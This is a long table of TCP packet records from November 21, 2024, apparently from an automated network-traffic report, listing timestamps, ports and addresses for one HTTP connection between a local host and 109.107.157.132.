Nov 21, 2024 22:33:29.990380049 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.990444899 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.990492105 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.990540028 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.994221926 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.995635033 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.995656967 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.995707989 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.995742083 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.995785952 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.999448061 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.999497890 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.999613047 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.999712944 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.003294945 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.003391981 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.003427029 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.003535986 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.066956997 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.067047119 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.067142010 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.067142010 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.068836927 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.068856001 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.068912029 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.071805000 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.071836948 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.071892023 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.075639009 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.075704098 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.075737953 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.075860023 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.079458952 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.079525948 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.079621077 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.081510067 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.121058941 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.121123075 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.121243000 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.145328999 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.145443916 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.145478010 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.145591021 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.146409988 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.146476030 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.146496058 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.146543026 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.150305033 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.150374889 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.150379896 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.150444031 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.154098034 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.154170036 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.154242992 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.157917023 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.158068895 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.158130884 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.161732912 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.163907051 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.223754883 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.223802090 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.223890066 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.225635052 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.225739002 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.225792885 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.229471922 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.229681015 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.229736090 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.233316898 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.233520985 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.233572960 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.237181902 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.237306118 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.237358093 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.241976023 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.243166924 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.243227005 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.245692968 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.247946024 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.302794933 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.302984953 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.303075075 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.304721117 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.304858923 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.304919004 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.308604002 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.309614897 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.310019970 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.310030937 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.310082912 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.313890934 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.313901901 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.313956022 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.317388058 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.317399025 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.317445993 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.322335005 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.322345972 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.322395086 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.325321913 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.325370073 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.380408049 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.380492926 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.380563974 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.382313013 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.382419109 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.382586002 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.386147022 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.386284113 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.386351109 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.389980078 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.390044928 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.390127897 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.393811941 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.393959999 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.394016027 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.397661924 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.397804022 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.397874117 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.401504993 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.401612043 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.458619118 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.458745003 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.458837986 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.460431099 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.460524082 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.460603952 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.463423014 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.463625908 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.463694096 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.467233896 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.467411995 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.467479944 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.471065044 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.471200943 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.471263885 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.474890947 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.475058079 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.475114107 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.478770018 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.478899002 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.478960991 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.482630014 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.482772112 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.482834101 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.537029982 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.537101030 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.537185907 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.538897991 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.539030075 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.539107084 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.542685986 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.544071913 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.544142962 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.544176102 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.545607090 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.547970057 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.548099041 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.548156977 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.551851988 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.551949978 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.552011013 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.555717945 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.555901051 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.555958986 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.559463978 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.559647083 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.559708118 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.563299894 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.563350916 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.859637022 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.859678030 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.859741926 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.938035965 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.938047886 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.938111067 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:30.939620972 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:30.939688921 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.016237020 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.016293049 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.016424894 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.016468048 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.017971992 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.018028021 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.018157005 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.018220901 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.094645023 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.094703913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.094753981 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.094794035 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.096446037 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.096492052 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.096539021 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.096584082 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.100047112 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.100105047 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.173062086 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.173135996 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.173157930 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.173217058 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.174143076 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.174197912 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.174206972 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.174254894 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.177634954 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.177692890 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.177798986 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.177853107 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.181220055 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.181272030 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.181302071 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.181349993 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.217175961 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.217262983 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.251211882 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.251277924 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.251332045 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.251403093 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.252073050 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.252129078 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.252203941 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.252255917 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.255796909 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.255865097 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.256798029 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.256851912 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.259246111 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.259299040 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.259387016 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.259439945 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.262797117 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.262850046 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.262898922 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.262947083 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.266273975 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.266340971 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.266417027 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.266469955 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:31.785371065 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.785461903 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:31.785547018 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.026340008 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.026392937 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.026465893 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.027338028 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.027434111 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.027487040 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.104646921 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.104912996 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.104984045 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.106199980 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.106329918 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.106494904 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.109736919 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.111721992 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.184900045 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.184922934 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.185049057 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.185889006 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.186003923 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.186068058 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.189450026 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.189568043 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.189636946 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.193020105 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.193172932 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.193233967 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.196561098 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.196683884 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.196871042 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.200079918 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.200146914 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.200162888 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.201621056 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.262948036 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.263154030 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.263396978 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.264638901 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.265311956 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.265388012 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.265435934 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.267775059 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.268865108 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.268980026 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.269035101 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.272428989 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.272562027 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.272618055 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.341809988 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.341917038 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.342047930 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.342093945 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.343487978 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.343548059 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.343590021 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.343652964 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.346997976 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.347050905 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.347093105 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.347145081 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.350583076 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.350639105 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.350662947 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.350749969 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.354059935 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.354134083 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.419825077 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.419945955 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.420166016 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.421505928 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.421602011 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.422185898 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.422219038 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.422276020 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.425744057 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.425878048 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.425956964 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.429289103 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.429399014 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.429477930 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.432837963 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.432964087 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.433029890 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.436362028 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.437349081 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.498234987 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.498331070 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.498455048 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.498503923 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.499958992 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.500011921 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.500053883 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.500112057 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.502778053 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.502824068 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.502840996 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.502873898 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.506225109 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.506282091 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.506329060 CET	80	49751	109.107.157.132	192.168.2.4
